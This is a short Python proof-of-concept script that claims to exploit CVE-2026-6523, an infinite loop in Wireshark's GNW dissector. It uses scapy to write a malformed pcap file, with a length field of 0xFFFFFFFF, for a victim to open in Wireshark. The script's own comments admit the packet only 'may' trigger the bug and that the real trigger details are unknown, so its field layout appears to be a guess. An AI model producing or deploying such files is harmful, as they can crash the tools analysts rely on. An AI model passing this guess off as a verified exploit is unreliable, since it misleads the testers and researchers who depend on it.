The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-6523 (Infinite Loop in Wireshark GNW Dissector)
# This script generates a malformed packet that may trigger the infinite loop.
# Note: Actual trigger details depend on specific protocol fields.
from scapy.all import *
class GNW_Malformed(Packet):
name = "GNW Malformed"
fields_desc = [
ByteField("magic", 0x47),
# Introduce a field designed to trigger the loop condition
# For example, a length field that points to itself or creates a zero-length loop
FieldLenField("loop_len", None, length_of="loop_data", fmt="I"),
StrLenField("loop_data", "AAAA", length_from=lambda pkt: pkt.loop_len)
]
# Construct the packet
# Setting a specific length might cause the dissector to loop
pkt = Ether()/IP()/UDP(dport=12345)/GNW_Malformed(loop_len=0xFFFFFFFF)
# Save to pcap file
wrpcap("cve_2026_6523_poc.pcap", [pkt])
print("[+] Malformed pcap file generated: cve_2026_6523_poc.pcap")
print("[+] Open this file in Wireshark (vulnerable version) to test.")